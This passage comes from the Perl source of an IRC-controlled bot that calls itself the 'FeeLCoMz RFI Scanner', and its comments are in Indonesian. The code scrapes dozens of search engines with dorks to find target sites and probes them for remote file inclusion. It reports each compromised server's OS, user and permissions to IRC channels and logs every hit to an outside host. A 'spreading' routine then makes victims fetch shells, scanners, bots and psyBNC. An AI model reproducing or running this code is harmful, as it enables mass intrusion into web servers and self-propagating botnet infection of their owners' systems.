 while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
   $p++; if ( $p > $max ) { return @daftar; }
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ALTAVISTA ]##
sub se_altavista {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 100; my $max = 3000; my $p;
 #my $url = "http://localhost/search/www.altavista.com.htm";
 my $url = "http://www.altavista.com/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Altavista","$nxurl");
 }
 while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
 while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ALLTHEWEB ]##
sub se_alltheweb {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 100; my $max = 20; my $p = 1;
 #my $url = "http://localhost/search/www.alltheweb.com.htm";
 my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"AllTheWeb","$h");
 }
 if ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"AllTheWeb","$nxurl");
 }
 while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
 while ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ GOODSEARCH ]##
sub se_goodsearch {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 0; my $max = 300; my $p = 1;
 #my $url = "http://localhost/search/www.goodsearch.com.html";
 my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
 my $murl = "http://www.goodsearch.com/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"GoodSearch","$h");
 }
 if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
     my $nxurl = $1; msgn($dbgchan,"GoodSearch","$nxurl");
 }
 while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
 for ($p=2;$p<=$max;$p++) {
   $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
   $q = bukasitus($url);
   while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
   if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
 }
 return @daftar;
}
## UOL ##
sub se_uol {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 3000; my $p;
 #my $url = "http://localhost/search/busca.uol.com.br.htm";
 my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
 my $murl = "http://busca.uol.com.br";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /results\">(.+?)<\/strong>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Uol","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
     my $nxurl = htmltourl($1); msgn($dbgchan,"Uol","$nxurl");
 }
 while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 for ($p=1;$p<=$max;$p += $num) {
   $q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
   while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
   if ( $q !~ /<dt><a href/ ) { return @daftar; }
 }
 return @daftar;
}
## LIVE ##
sub se_live {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 100; my $p;
 #my $url = "http://localhost/search/search.live.com.htm";
 my $url = "http://search.live.com/results.aspx?q=".$key."&go";
 my $murl =  "http://search.live.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a  class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
     my $nxurl = $1; msgn($dbgchan,"Live",htmltourl($nxurl));
 }
 while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
   my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
 }
 for ( $p=0;$p<=$max;$p += $num ) {
   $nxurl = $murl.htmltourl($1)."&go";
   $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
   while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
     my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## CLUSTY ##
sub se_clusty {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50;
 #my $url = "http://localhost/search/clusty.com.htm";
 my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
 my $murl = "http://clusty.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Clusty","$h");
 }
 if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Clusty",htmltourl($nxurl));
 }
 while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ASK ]##
sub se_ask {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 200; my $p = 1;
 #my $url = "http://localhost/search/www.ask.com.htm";
 my $url = "http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p;
 my $murl = "http://www.ask.com/web";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\" class=\"(.+?)\" style=\"text-decoration:none\" >Next/ ) {
   my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Ask","$h");
 }
 while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
   my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
 }
 for ($p=1;$p<=$max;$p++) {
   $q = bukasitus("http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p);
   while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
     my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## LYCOS ##
sub se_lycos {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 200;  my $p;
 #my $url = "http://localhost/search/search.lycos.com.htm";
 my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
 my $murl =  "http://search.lycos.com/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
   my $nxurl = $1; msgn($dbgchan,"Lycos","$nxurl");
 }
 while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
 for ( $p=0;$p<=$max;$p++ ) {
   $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
   while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
   if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
 }
 return @daftar;
}
## GIGABLAST ##
sub se_gigablast {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000;
 #my $url = "http://localhost/search/gigablast.com.htm";
 my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
 my $murl = "http://www.gigablast.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h");
 }
 if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Gigablast","$nxurl");
 }
 while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 while ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## MAMMA ##
sub se_mamma {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 10; my $p = 1;
 #my $url = "http://localhost/search/mamma.com.htm";
 my $url = "http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /Search Results<\/b> .*? of (.*?) for/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
   my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","$h");
 }
 while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
   my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
 }
 while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
     my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## DMOZ ##
sub se_dmoz {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 20; my $max = 3000; my $p = 1;
 #my $url = "http://localhost/search/search.dmoz.org.htm";
 my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
 my $murl = "http://search.dmoz.org/cgi-bin/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /Open Directory Sites<\/b><\/font> \((.+?) of (.+?)\)/ ) {
   my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Dmoz","$nxurl");
 }
 while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## VIRGILIO ##
sub se_virgilio {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 20; my $max = 2000; my $p = 0;
 my $url =  "http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&offset=".$p;
 my $murl = "http://ricerca.alice.it/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
   my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
   msgt($chan,"Virgilio","$h");
 }
 if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
     my $nxurl = $1; msgn($dbgchan,"Virgilio","$nxurl");
 }
 while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
 while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## WEBDE ##
sub se_webde {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 100; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
   my $q = bukasitus($url);
   while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
   if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
 }
 return @daftar;
}
## FIREBALL ##
sub se_fireball {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 3000; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8";
   my $q = bukasitus($url);
   while ( $q =~ m/<a href=\"http:\/\/(.*?)\" target/g ) { push (@daftar, $1); }
   if ( $q !~ /<a href=\"http:\/\/(.*?)\" target/ ) { return @daftar; }
   if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
 }
 return @daftar;
}
## HOTBOT ##
sub se_hotbot {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 200; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
   my $q = bukasitus($url);
   while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
     my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
   }
   if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
 }
 return @daftar;
}
## NETSCAPE (Ga pake) ##
sub se_netscape {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 10; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
   my $q = bukasitus($url);
   while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
     my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
   }
   if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
 }
 return @daftar;
}
## WEBCRAWLER ##
sub se_webcrawler {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p;
 for ( $p = 0;$p <= $max; $p++ ) {
   $num += $num;
   my $url = "http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true";
   my $q = bukasitus($url);
   while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
     my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
   }
   if ( $q !~ /wsPagerNext/ ) { return @daftar; }
 }
 return @daftar;
}
## EUROSEEK ##
sub se_euroseek {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 6000; my $p;
 for ( $p = 0;$p <= $max; $p+=$num ) {
   my $url = "http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".$key;
   my $q = bukasitus($url);
   while ( $q =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { push (@daftar, $1); }
   if ( $q !~ /Next/ ) { return @daftar; }
 }
 return @daftar;
}
## ABACHO ##
sub se_abacho {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 1000; my $p = 0;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
   my $q = bukasitus($url);
   while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
   if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
   if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
 }
 return @daftar;
}
## END OF RUTIN SEARCH ENGINE ##

##[ BUG JOOMLA ]##
sub bugjoomla {
 my $mode = $_[0];
 my @bugz;
 system("lwp-download ".$joomlaz);
 system("curl -O ".$joomlaz);
 system("wget ".$joomlaz);
 open(FILE,"< joomla.txt");
 if ($mode eq "hitung") {
   my $baris = 0; my $buff;
   while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
   close FILE;
   f_hapus("joomla.txt*");
   return $baris;
 }
 else {
   while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
   close(FILE);
   f_hapus("joomla.txt*");
   return @bugz;
 }
}

##[ MILW0RM ]##
sub milw0rm {
 my ($chan,$key) = @_;
 my $max = 10; my $i;
 #my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
 my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
 irc_msg($chan,"0,1 [milw0rm.com]9 $key ");
 while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
   $i++;
   my ($exp,$judul) = ($1,$2);
   irc_msg($chan,$colz{1}." $judul 15http://milw0rm.com/exploits/$exp ");
   sleep(1);
   return if ($i == $max);
 }
}

##[ BERSIH DORK ]##
sub bersihdork {
 my ($chan,$dork) = @_;
 if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
   irc_msg($chan,$colz{1}." Membersihkan kata kunci Google.. ");
   $dork =~ s/^inurl://g;
   $dork =~ s/^allinurl://g;
   $dork =~ s/^intext://g;
   $dork =~ s/^allintext://g;
   $dork =~ s/^intitle://g;
   $dork =~ s/^allintitle://g;
 }
 return $dork;
}

##[ SORTIR LINK ]##
sub lnk_sortir {
 my @unik = ();
 my %ada  = ();
 foreach my $e ( @_ ) {
   next if $ada{ $e }++;
   push (@unik, $e);
 }
 return @unik;
}

##[ SARING LINK ]##
sub lnk_filter {
 my @unik = ();
 foreach my $url ( @_ ) {
   my $jelek = 0;
   foreach my $b ( @badlinkz ) {
     if ($url =~ /$b/) { $jelek = 1; }
   }
   if ($jelek == 0) { push (@unik, $url); }
 }
 return @unik;
}

##[ SUBLINK ]##
sub lnk_sub {
 my $link = $_[0];
 my (@links,$path);
 my ($host,@paths) = split(/\//,$link);
 $host .= "/";
 push (@links,$host);
 foreach my $e (@paths) {
   if ($e) {
     $path .= $e."/";
     my $sublink = $host.$path;
     push (@links,$sublink);
    }
 }
 return @links;
}

##[ INFO OS ]##
sub info_os {
 my $url = $_[0];
 my @info;
 my $h  = bukasitus($url.$fx29id2."??");
 my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
 while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
 while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
 while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
 while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
 while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
 while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
 while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
 while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
 while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
 while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
 push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
 return @info;
}

##[ SAFEMODE INFO ]##
sub safemode {
 my ($type,$chan,$situs,$bug,$engine) = @_;
 my $safemode; my $vurn; my $sb; my $spreaded;
 if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn."14".$fx29sh."?"; }
 else { $vurn = $situs; $sb = $vurn; }
 my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
 if ($safe =~ /OFF/) { $safemode = "4OFF"; } elsif ($safe =~ /ON/) { $safemode ="9ON"; } else { $safemode ="0-"; }
 if ($disfunc) { $disfunc = "9[Disfunc]0[7 $disfunc 0]"; } else { $disfunc = ""; }
 if ($perm =~/W/) { $perm = "12$perm"; } else { $perm = "4$perm"; }
 my $S1 = "9,1 [".$safemode."9]9[$os]0[ $sb 0]";
 my $S2 = "9,1 [Uname]0[ $uname ]9 [User]0[ $user / $uid ] 9[Server]0[ $server ] ";
 my $S3 = "9,1 [Dir]0[ $dir $perm 0] 9[HDD]0[0 $hdd 0] $disfunc ";
 if ($type == 1) {
   irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3);
   ##[ SPREADING ]##
   bukasitus("http://uaedesign.com/xml/logz/loggerz.php?&safe=".$safe."&teks=".urlen($vurn));
   if ($spreadconf{shellz} == 1) {
     my $q = bukasitus($vurn.$spread."?&modez=shellz");
     if ($q =~ /Writed to (.+?)!/) { irc_msg($chanx,"9,1 [Shell]0[ $1 0] "); }
     $spreaded = "shellz ";
   }
   if ($spreadconf{scannerz} == 1) {
     bukasitus($vurn.$spread."?&modez=scannerz");
     $spreaded .= "scannerz ";
   }
   if ($spreadconf{botz} == 1) {
     bukasitus($vurn.$spread."?&modez=botz");
     $spreaded .= "botz ";
   }
   if ($spreadconf{psybnc} == 1) {
     bukasitus($vurn.$spread."?&modez=psybnc");
     $spreaded .= "psybnc ";
   }
   irc_msg($chanx,"9,1 [Spreadz]0[ $spreaded 0] ");
   sleep($conf{sleepz});
   irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine);
 }
 irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);
}

##[ CEK SHELL ]##
sub cek_shell {
 my ($chan,$nick,$situs) = @_;
 my $q = bukasitus($situs.$fx29id."?");
 print $q;
 if ( $q =~ /FeeLCoMz/ ) { safemode(2,$chan,$situs,"",""); }
 else { irc_msg($chan,$nick.", targetnya ga vurnerable!"); }
}

##[ CEK RESPON ]##
sub cek_respon {
 my $chan = $_[0];
 my ($q1,$q2,$q3) = (bukasitus($fx29id),bukasitus($fx29id2),bukasitus($fx29sh));
 my ($rid,$rid2,$rsh,$stat);
 if ( $q1 =~ /Fx29ID/ ) { $rid = "0OK"; $stat = 1; } else { $rid = "4ERROR!"; $stat = 0; }
 if ( $q2 =~ /Fx29ID/ ) { $rid2 = "0OK"; $stat += 1; } else { $rid2 = "4ERROR!"; $stat += 0; }
 if ( $q3 =~ /FaTaLisTiCz_Fx/ ) { $rsh = "0OK"; } else { $rsh = "4ERROR!"; }
 irc_msg($chan,$colz{1}."Fx29ID: $rid 9Fx29ID2: $rid2 9Fx29Sh: $rsh".$colz{2});
 return $stat;
}

##[ CEK DORK ]##
sub cek_dork {
 my $dork = $_[0];
 foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
 return 0;
}

##[ CEK BUG ]##
sub cek_bug {
 my $bug = $_[0];
 foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
 return 0;
}

##[ RUTIN PENANGANAN FILE ]##
sub f_hapus { my $file = $_[0]; system("rm $file"); }
sub f_simpan {
 my ($nf,$hc) = @_;
 my $fh;
 open( $fh, ">>", $nf );
 my @slink = lnk_sub($hc);
 foreach my $s (@slink) { print $fh "$s\n"; }
 close $fh;
}
sub f_simpan2 {
 my ($nf,$isi) = @_;
 my $fh;
 open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
}
sub f_simpan2b {
 my ($nf,$isi) = @_;
 my $fh;
 open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
}

##[ HTTP QUERY ]##
sub bukasitus {
 my $url = $_[0];
 my $request = HTTP::Request->new(GET => $url);
 my $ua  = LWP::UserAgent->new;
 $ua->timeout($conf{timeout});
 $ua->agent('Mozilla/5.0');
 my $response = $ua->request($request);
 if ($response->is_success) { return $response->content; }
 else { return $response->status_line; }
}
sub bukasitus2 {
 my $url = $_[0];
 my $ua  = LWP::UserAgent->new;
 $ua->timeout($conf{timeout});
 $ua->agent('Mozilla/5.0');
 my $response = $ua->get($url);
 if ($response->is_success) { return $response->content; }
 else { return $response->status_line; }
}
sub bukasitus3 {
 my $url = $_[0];
 my $host  = $url;
 my $query = $url;
 my $isi; my $kirim;
 my $uagent  = "Mozilla/5.0";
 $host  =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
 $query =~ s/$host//;
 eval {
   my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
   $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
   print $sock $kirim;
   my @r = <$sock>;
   $isi = "@r";
   close($sock);
 };
 return $isi;
}

##[ ENCODE/DECODE ]##
sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
sub urlen {
 my $str = $_[0];
 #$str =~ s/\+/\%2B/g;
 $str =~ s/ /\+/g;
 $str =~ s/@/\%40/g;
 $str =~ s/\//\%2F/g;
 $str =~ s/&/\%26/g;
 $str =~ s/\"/\%22/g;
 $str =~ s/,/\%2C/g;
 $str =~ s/\\/\%5C/g;
 $str =~ s/:/\%3A/g;
 $str =~ s/\[/\%5B/g;
 $str =~ s/\]/\%5D/g;
 $str =~ s/\?/\%3F/g;
 $str =~ s/\=/\%3D/g;
 $str =~ s/\|/\%­7C/g;
 return $str;
}
sub urlde {
 my $str = $_[0];
 $str =~ s/\+/ /g;
 $str =~ s/\%2B/\+/g;
 $str =~ s/\%40/@/g;
 $str =~ s/\%2E/\./g;
 $str =~ s/\%2F/\//g;
 $str =~ s/\%26/&/g;
 $str =~ s/\%22/\"/g;
 $str =~ s/\%2C/,/g;
 $str =~ s/\%5C/\\/g;
 $str =~ s/\%3A/:/g;
 $str =~ s/\%­5[B|b]/\[/g;
 $str =~ s/\%­5[D|d]/\]/g;
 $str =~ s/\%3F/\?/g;
 $str =~ s/\%3D/\=/g;
 $str =~ s/\%­7C/\|/g;
 return $str;
}
sub cryptz { return crypt($_[0],"feelcomz"); }

##[ TRIMMER CRLF ]##
sub trimrn {
 my $str = $_[0];
 if (!$str) { return ""; }
 $str =~ s/\r// if ($str);
 $str =~ s/\n//;
 return $str;
}

##[ INFO BOT ]##
sub bot_info   {
 my $chan   = $_[0];
 my $hlogo  = "0,1 [i]9 ";
 my $uname  = `uname -a`;
 my $uid    = `id`;
 my $uptime = `uptime`;
 my @info   = (
 $hlogo."0FeeLCoMz RFI Scanner $versi Info ",
 $hlogo."Written under 0ActivePerl 5.8.8 Build 820 9by 0FaTaLisTiCz_Fx (FeeLCoMz Community) ",
 $hlogo."Uname:0 $uname ",
 $hlogo."Uid:0 $uid ",
 $hlogo."Uptime:0 $uptime ",
 );
 foreach my $m(@info) { irc_msg($chan,$m); }
}

##[ HELP BOT ]##
sub bot_help {
 my ($chan,$level) = @_;
 my $hsepz = "0,1 [!] 0";
 my $hlogo = "0,1 [!] 9".$cmdpre;
 my @help; my $i;
 my @hlp1 = (
 $hsepz."FeeLCoMz RFI Scanner $versi Help ",
 $hlogo."scan|scan2 <bug> <dork> 0?15 Memulai scanner | scanner & Eksploit RFI ",
 $hlogo."milw0rm <keywords> 0?15 Mencari daftar bug di milw0rm ",
 $hlogo."respon 0?15 Cek Respon & Injector RFI ",
 $hlogo."urlen|urlde <teks> 0?15 Encoder/Decoder URL ",
 $hlogo."cek <target> 0?15 Cek RFI shell ",
 $hlogo."info 0?15 Informasi bot ",
 $hlogo."auth <password> 0?15 Login ke bot ",
 );
 my @hlp2 = (
 $hsepz."User Commands: ",
 $hlogo."joomla <bug> <dork> 0?15 Memulai scanner & Eksploit RFI Joomla ",
 $hlogo."hitung <jumlah> 0?15 Mengganti hitungan proses eksploitasi ",
 $hlogo."cryptz <password> 0?15 Membuat password yg terenkripsi ",
 $hlogo."join|part <channel> 0?15 Join/Part channel ",
 $hlogo."nick <nick> 0?15 Ganti nick bot ",
 $hlogo."logout 0?15 Logout dari bot ",
 );
 my @hlp3 = (
 $hsepz."Admin Commands: ",
 $hlogo."crespon[1/2]|cshell|cspread <url> 0?15 Mengganti respon/injector/spread/spread2 RFI ",
 $hlogo."rfipid <perintah> 0?15 Mengganti RFI PID ",
